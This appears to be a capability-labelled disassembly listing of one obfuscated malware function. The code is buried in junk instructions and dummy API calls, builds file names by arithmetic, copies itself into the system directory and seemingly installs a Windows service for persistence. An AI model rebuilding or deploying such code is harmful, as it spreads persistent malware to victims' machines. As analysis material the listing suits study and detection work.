Function at 0x40f4ab
Capabilities:
Accept command line arguments
Clear file content
Copy file
Get common file path
Get file size
Read file on windows
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff50
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pushfd
push ebx
btc ebx, 0x12
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
push ecx
pushfd
cmovae edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov dword [ebp - 0x3c], eax
pushfd
push ebx
sar ebx, 7
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
push eax
pushfd
sbb esi, eax
popfd
pop eax
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 4
push 0x1000
push 0x410
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 8], eax
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 4], eax
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
pushfd
push esi
ror esi, 0x12
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pavgw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov dword [ebp - 0xb0], eax
cmp dword [0x421285], 0
je 0x410f8a
pushfd
push edx
rcr edx, 0x1d
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fabs
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0x104
push dword [ebp - 8]
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [ebp - 0xb0]
call fcn.00409f0f
pushfd
push ebx
ror ebx, 1
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
setne cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push dword [ebp - 0xb0]
call fcn.00415ec0
pushfd
push ecx
bt ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
push eax
pushfd
cmovle eax, eax
popfd
pop eax
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
add eax, dword [ebp - 0xb0]
pushfd
push eax
shl eax, 1
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push eax
push esi
pushfd
cmova eax, esi
popfd
pop esi
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov byte [eax - 1], 0
pushfd
push edx
shl edx, 0x1e
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
push esi
pushfd
mov esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push dword [ebp - 0xb0]
push dword [ebp - 8]
call fcn.00415f70
or eax, eax
pushfd
push edx
shl edx, 0x1e
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pmulhuw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
jne 0x40f6b6
pushfd
push ecx
shl ecx, 8
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
cmp dword [0x421427], 0
pushfd
push ecx
ror ecx, 4
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ecx
setge cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
jne 0x40f6b6
pushfd
push esi
sar esi, 0x12
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pavgw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
call sub.KERNEL32.DLL_ExitProcess
mov dword [0x4218d3], 0
pushfd
push ebx
sar ebx, 6
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push dword [0x4219cb]
pop dword [ebp - 0x10]
push 0
call dword [0x421138]
push 0x104
push dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
pushfd
push edx
ror edx, 0x14
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
psubb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0x104
push dword [ebp - 8]
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [ebp - 8]
call fcn.00415ec0
pushfd
push esi
bt esi, 0xe
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
push edx
pushfd
cmovp eax, edx
popfd
pop edx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
add eax, dword [ebp - 8]
mov edi, eax
pushfd
push edx
rcr edx, 6
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ebx
push edx
pushfd
cmovnp ebx, edx
popfd
pop edx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push eax
mov dword [esp], 0x99f4735b
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0x367dffff
pop ecx
pushfd
push ebx
sar ebx, 0x14
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ecx
push eax
pushfd
cmove ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
pop dword [edi]
pushfd
push ebx
rcr ebx, 0x1f
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
setne al
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
lea edi, [edi + 4]
pushfd
push ebx
ror ebx, 5
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
punpckhbw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0x452d6f67
sub dword [esp], 0xd0b9ffff
pushfd
push ebx
rcl ebx, 0x14
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push eax
neg al
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pop dword [edi]
lea edi, [edi + 4]
push 0x6578652e
pop dword [edi]
lea edi, [edi + 4]
push 0x6578653a
pop dword [edi]
pushfd
push edx
bts edx, 0xb
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
push edx
pushfd
cmovl esi, edx
popfd
pop edx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
lea edi, [edi + 4]
push 0x6578652e
pushfd
push ebx
btr ebx, 7
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
push eax
pushfd
sub ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
pop dword [edi]
pushfd
push esi
bt esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
punpckhbw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
lea edi, [edi + 4]
pushfd
push esi
rol esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pmulhuw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0
pop dword [edi]
lea edi, [edi + 4]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push dword [ebp - 8]
call sub.KERNEL32.DLL_CreateFileA
pushfd
push ebx
bt ebx, 0x14
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push eax
push eax
pushfd
cmovae eax, eax
popfd
pop eax
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
or eax, eax
js 0x40fc23
pushfd
push edx
shl edx, 0
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pmaxub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov esi, eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 4]
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
push eax
push 4
push 0x1000
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
jmp 0x40fa33
push eax
pushfd
push ecx
shl ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x40fa62
mov edx, dword [esp]
mov ecx, dword [esp + 4]
push 0
push 0x4218d3
push ecx
push edx
push edi
call sub.KERNEL32.DLL_ReadFile
push esi
call sub.KERNEL32.DLL_SetEndOfFile
mov edx, dword [esp]
mov ecx, dword [esp + 4]
pushfd
push esi
ror esi, 0x17
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ebx
dec bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push 0
push 0x4218d3
push ecx
push edx
push esi
call sub.KERNEL32.DLL_WriteFile
pushfd
push ecx
btc ecx, 0xe
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ebx
push eax
pushfd
or ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
or eax, eax
pushfd
push edx
bts edx, 0x18
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
seto al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
jne 0x40fb97
pushfd
push ecx
bts ecx, 0x13
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push ecx
setbe cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pop edx
pushfd
push eax
shl eax, 0x18
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x40fb3f
add esp, 4
push 0x8000
push 0
push edx
call sub.KERNEL32.DLL_VirtualFree
push esi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push ecx
shl ecx, 0xd
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
wait
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push edi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push esi
btr esi, 3
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push ecx
setnp cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
jmp 0x40fc23
pushfd
push eax
btc eax, 0xd
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fsincos
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
pop eax
add esp, 4
pushfd
push esi
rcl esi, 0x16
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ecx
dec cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push 0x8000
push 0
push eax
call sub.KERNEL32.DLL_VirtualFree
pushfd
push ecx
rcr ecx, 0x1a
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pand mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push esi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push eax
bt eax, 3
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
punpckhwd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push edi
call sub.KERNEL32.DLL_CloseHandle
jmp 0x40fcef
pushfd
push ebx
shl ebx, 0xf
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
paddw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0x104
push dword [ebp - 8]
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [ebp - 8]
call fcn.00415ec0
add eax, dword [ebp - 8]
pushfd
push eax
rol eax, 2
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psrlq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov edi, eax
push 0x4631695b
sub dword [esp], 0xdfcdffff
pop dword [edi]
lea edi, [edi + 4]
push 0x6578652e
pushfd
push ebx
bt ebx, 8
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
wait
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
pop dword [edi]
lea edi, [edi + 4]
push 0
pop dword [edi]
pushfd
push ecx
rcr ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ebx
setbe bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
lea edi, [edi + 4]
pushfd
push ecx
bts ecx, 0x11
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pmaxsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0
push dword [ebp - 8]
push dword [ebp - 4]
call sub.KERNEL32.DLL_CopyFileA
push 0xc563ffff
mov dword [esp], 0xc52abbab
xor dword [esp], 0xc563ffff
pushfd
push ebx
btc ebx, 0x14
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
lea eax, [esp]
pushfd
push eax
sar eax, 2
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
push esi
pushfd
imul ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push eax
mov dword [esp], 0xe7ca434a
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x187bffff
pop ebx
pushfd
push ebx
rcl ebx, 0x1b
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x40fd76
lea edx, [esp]
pushfd
push edx
rol edx, 0x1a
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
push edx
pushfd
cmova eax, edx
popfd
pop edx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0
push 0
pushfd
push ecx
bt ecx, 0
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x40fdcb
push 0
push 0
pushfd
push edx
btc edx, 0x14
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fucom st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push eax
pushfd
push ebx
ror ebx, 0x15
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
push esi
pushfd
cmovo esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push dword [ebp - 8]
push 1
push 2
pushfd
push ecx
shl ecx, 0x14
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fscale
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0x110
pushfd
push ebx
sar ebx, 0x11
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ebx
setbe bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push 0xf01ff
pushfd
push edx
rcr edx, 7
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ecx
push eax
pushfd
cmovs ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push edx
push edx
push dword [ebp - 0x10]
pushfd
push ecx
bts ecx, 0x1c
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push edx
push ecx
pushfd
cmovbe edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
call dword [0x4217b3]
pushfd
push ebx
shl ebx, 7
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x40fec9
pop ecx
pop edx
mov dword [ebp - 0x38], eax
or eax, eax
jne 0x410478
pushfd
push ecx
ror ecx, 0x19
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
seta cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
call sub.KERNEL32.DLL_GetLastError
pushfd
push esi
shl esi, 0x1d
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
cmp eax, 0x431
je 0x40ffee
pushfd
push edx
sar edx, 9
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x40ff48
push ebx
mov dword [esp], 0xf4d84348
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0xf491ffff
pop ecx
mov edx, esp
push 0xf01ff
push edx
pushfd
push ebx
btr ebx, 0x18
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
push ecx
pushfd
mov eax, ecx
popfd
pop ecx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push dword [ebp - 0x10]
pushfd
push eax
btc eax, 0x1d
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push ebx
setb bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
call dword [0x4217b7]
pop ecx
pushfd
push eax
rcl eax, 0x17
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
paddusw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov dword [ebp - 0x30], eax
pushfd
push ebx
sar ebx, 0x10
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ecx
push edx
pushfd
xadd ecx, edx
popfd
pop edx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
jmp 0x41014c
pushfd
push eax
btr eax, 0x1f
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
mov dword [esp], 0xb478434a
add dword [esp], 0x4bcdffff
pushfd
push eax
rcr eax, 2
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
setge al
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
mov edx, esp
push 0xf01ff
pushfd
push edx
sar edx, 0x13
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
push ecx
pushfd
cmovg ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push edx
pushfd
push esi
rol esi, 0xe
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push eax
seta al
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push dword [ebp - 0x10]
pushfd
push esi
shl esi, 9
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
call dword [0x4217b7]
pop ecx
mov dword [ebp - 0x30], eax
pushfd
push ecx
rcr ecx, 0x1d
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ecx
setb cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x30]
pushfd
push eax
bts eax, 1
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push eax
push eax
pushfd
cmovl eax, eax
popfd
pop eax
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
call dword [0x4217bf]
mov dword [ebp - 0x34], eax
jmp 0x410146
lea edi, [ebp - 0x2c]
mov ecx, 0x1c
xor al, al
rep stosb byte es:[edi], al
pushfd
push ecx
sar ecx, 0x10
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
lea eax, [ebp - 0x2c]
push eax
pushfd
push esi
btc esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push eax
push edx
pushfd
cmove eax, edx
popfd
pop edx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 1
push dword [ebp - 0x30]
pushfd
push edx
sar edx, 0x12
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fscale
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
call dword [0x4217c3]
mov dword [ebp - 0x34], eax
push 0x3e8
call sub.KERNEL32.DLL_Sleep
cmp dword [ebp - 0x28], 1
jne 0x4100d6
pushfd
push esi
rcl esi, 0x11
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pcmpgtw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push esi
pushfd
push ecx
shl ecx, 0x11
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esi
push edx
pushfd
cmovns esi, edx
popfd
pop edx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov esi, esp
pushfd
push eax
bts eax, 0xc
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ebx
sete bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
mov dword [esp], 0xa20b4453
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0xa1c1ffff
pop esi
mov edx, esp
push ebx
mov dword [esp], 0xaca76b6a
push eax
mov eax, esp
add eax, 4
sub dword [eax], 0x413bffff
pop eax
and dword [esp], 0xff
pushfd
push edx
btc edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pminub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push ebx
mov dword [esp], 0x60df7764
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0xee6fffff
pop esi
push eax
mov dword [esp], 0x8e4f7247
add dword [esp], 0xdf11ffff
push 0x31a7ffff
mov dword [esp], 0x11d49a8d
xor dword [esp], 0x31a7ffff
pushfd
push esi
shl esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fyl2x
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push eax
mov dword [esp], 0x37e56166
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0x3d8dffff
pop ecx
push eax
mov dword [esp], 0xfe166575
push esi
mov esi, esp
add esi, 4
add dword [esi], 0x6f5bffff
pop esi
pushfd
push edx
sar edx, 7
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fcom st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push ecx
mov dword [esp], 0xe1f76f42
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0x7381ffff
pop esi
pushfd
push eax
rol eax, 0x18
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ebx
push edx
pushfd
cmovae ebx, edx
popfd
pop edx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push eax
mov dword [esp], 0xaf06656f
push edx
mov edx, esp
add edx, 4
add dword [edx], 0x716dffff
pop edx
pushfd
push edx
rcl edx, 0x11
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x4102ff
push eax
mov dword [esp], 0x24d3746f
push esi
mov esi, esp
add esi, 4
add dword [esi], 0x4d91ffff
pop esi
push 0xc98a534c
sub dword [esp], 0x8069ffff
push esp
pushfd
push eax
bts eax, 9
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x41034f
push 0
push 0
push 0
push 0
pushfd
push esi
shl esi, 0x10
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
paddusw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push edx
push dword [ebp - 8]
push 0
push 2
pushfd
push edx
shl edx, 6
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push eax
push esi
pushfd
cmovno eax, esi
popfd
pop esi
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0x110
push dword [ebp - 0x30]
pushfd
push esi
bts esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push ecx
setle cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
call dword [0x4217c7]
mov esp, esi
pushfd
push edx
bts edx, 0xc
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
push eax
pushfd
or ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
pop esi
pushfd
push eax
shl eax, 0x1e
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fprem1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0
push dword [ebp - 8]
push dword [ebp - 4]
call sub.KERNEL32.DLL_CopyFileA
pushfd
push ebx
shl ebx, 7
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x41043a
push 0x8000
push 0
push dword [ebp - 8]
call sub.KERNEL32.DLL_VirtualFree
push dword [ebp - 0x30]
call dword [0x4217cb]
push dword [ebp - 0x10]
call dword [0x4217cb]
pushfd
push ebx
btc ebx, 0x1e
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pcmpeqb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
jmp 0x4104b0
push 0x8000
push 0
push dword [ebp - 8]
call sub.KERNEL32.DLL_VirtualFree
push dword [ebp - 0x38]
pushfd
push ecx
rcr ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
wait
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
call dword [0x4217cb]
push dword [ebp - 0x10]
call dword [0x4217cb]
pushfd
push eax
shl eax, 0x1e
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
paddsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 4
push 0x1000
push 0x20
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 0x54], eax
jmp 0x4105ab
pushfd
push ecx
shl ecx, 0x19
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push ecx
setae cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushal
pushfd
push eax
rcl eax, 7
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push eax
push esi
pushfd
cmovae eax, esi
popfd
pop esi
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push dword [ebp - 0x3c]
call fcn.00409f0f
pushfd
push ebx
bts ebx, 0x15
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
packssdw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
rdtsc
add edx, eax
mov edi, dword [ebp - 0x3c]
push edi
call fcn.00415ec0
pushfd
push ebx
rcl ebx, 0x18
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
packsswb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
add edi, eax
pushfd
push edx
shl edx, 0x15
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pminub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
and edx, 0x7fffffff
push edi
push edx
call fcn.00415d20
mov esi, edi
pushfd
push edx
btr edx, 0x1d
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
mov edi, dword [ebp - 0x54]
pushfd
push edx
btr edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push eax
push eax
pushfd
cmovg eax, eax
popfd
pop eax
